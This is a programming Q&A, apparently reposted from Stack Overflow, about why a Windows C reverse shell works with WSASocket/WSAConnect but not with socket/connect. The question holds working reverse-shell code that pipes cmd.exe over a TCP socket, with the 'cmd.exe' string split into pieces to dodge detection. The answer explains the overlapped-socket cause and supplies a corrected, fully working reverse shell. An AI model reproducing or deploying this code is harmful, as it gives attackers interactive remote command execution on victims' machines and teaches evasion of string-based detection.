Why is WSAConnect working and connect(); not?

淺唱寂寞╮ 提交于 2021-02-19 07:33:50

问题


I'm experimenting with some reverse shell code in C. It is working but only if I use WSAConnect() and WSASocket(). If I use socket() or connect() instead, it's not working. Why is this?

I always use connect() instead of WSAConnect(), and socket() instead of WSASocket(). I know I am missing something.

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;


int main(int argc, char *argv[]) 
{
    WSAStartup(MAKEWORD(2,2), &wsa);
    // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); This also doesn't work
    sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);


    server.sin_family = AF_INET;
    server.sin_port = htons(4942);
    server.sin_addr.s_addr =inet_addr("127.0.0.1");

    // connect(sock, (struct sockaddr*)&server, sizeof(server)); This doesn't work
    WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
    if (WSAGetLastError() == 0) {

        memset(&sinfo, 0, sizeof(sinfo));

        sinfo.cb=sizeof(sinfo);
        sinfo.dwFlags=STARTF_USESTDHANDLES;
        sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
        exit(0);
    } else {
        exit(0);
    }    
}

回答1:


There are some differences between socket() and WSASocket(). Most notably:

  • by default, socket() creates a SOCKET that supports Overlapped I/O, whereas WSASocket() allows you to specify whether you want the SOCKET to support Overlapped I/O or not. In other words, by default, socket() is the same as calling WSASocket() with the WSA_FLAG_OVERLAPPED flag. But CreateProcess() I/O redirection requires HANDLEs that are non-Overlapped. Which is why your use of socket() doesn't work.

  • WSASocket() allows you to create a socket using a specific provider, whereas socket() uses a default provider (usually Microsoft's). When using a SOCKET directly for CreateProcess() I/O redirection, you need to ensure the SOCKET's provider actually supports that usage. To ensure that, you should use WSAEnumProtocols() to enumerate the installed protocols until you find one that supports TCP and has the XP1_IFS_HANDLES flag (Microsoft's provider does), and then you can have WSASocket() use that specific provider via its lpProtocolInfo parameter.

Every example I can find online for using a SOCKET to directly redirect CreateProcess() I/O uses WSASocket() (but not always WSAEnumProtocols()). I have not seen a single example using socket() instead.

However, if you really want to use socket(), you have 2 choices:

  • use setsockopt(SOL_SOCKET, SO_OPENTYPE) to turn off creation of overlapped sockets by specifying the SO_SYNCHRONOUS_NONALERT type. Microsoft discourages this option, preferring the use of WSASocket() instead.

  • use CreatePipe() instead for the actual I/O redirection, and then manually proxy data between the socket and pipe as needed, reading from the SOCKET to write to the pipe, and reading from the pipe to write to the SOCKET.

That said, your code is not performing error checking correctly. Also, were you actually able to connect to the server and launch cmd.exe, you then exit from your app immediately, which closes the socket. You need to keep the socket open for the lifetime of the cmd.exe process.

Try something more like this instead:

#include <winsock2.h>
#include <stdio.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

int main(int argc, char *argv[]) 
{
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO sinfo;
    PROCESS_INFORMATION pinfo;

    int res = WSAStartup(MAKEWORD(2,2), &wsa);
    if (res != 0)
    {
        fprintf(stderr, "Can't initialize Winsock. Error %d\n", res);
        return 1;
    }

    // optional: use WSAEnumProtocols() to find a suitable WSAPROTOCOL_INFO
    // to pass to the lpProtocolInfo parameter of WSASocket()...

    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
    {
        res = WSAGetLastError();
        fprintf(stderr, "Can't create socket. Error %d\n", res);
        WSACleanup();
        return 1;
    }

    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(4942);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");

    res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
    if (res == SOCKET_ERROR)
    {
        res = WSAGetLastError();
        fprintf(stderr, "Can't connect. Error %d\n", res);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    memset(&sinfo, 0, sizeof(sinfo));
    sinfo.cb = sizeof(sinfo);
    sinfo.dwFlags = STARTF_USESTDHANDLES;
    sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

    char *myArray[4] = { "cm", "d.e", "x", "e" };
    char command[8] = "";
    snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

    if (!CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
    {
        res = GetLastError();
        fprintf(stderr, "Can't create process. Error %d\n", res);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    CloseHandle(pinfo.hThread);
    WaitForSingleObject(pinfo.hProcess, INFINITE);
    CloseHandle(pinfo.hProcess);

    closesocket(sock);
    WSACleanup();

    return 0;
}


来源:https://stackoverflow.com/questions/58269068/why-is-wsaconnect-working-and-connect-not

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!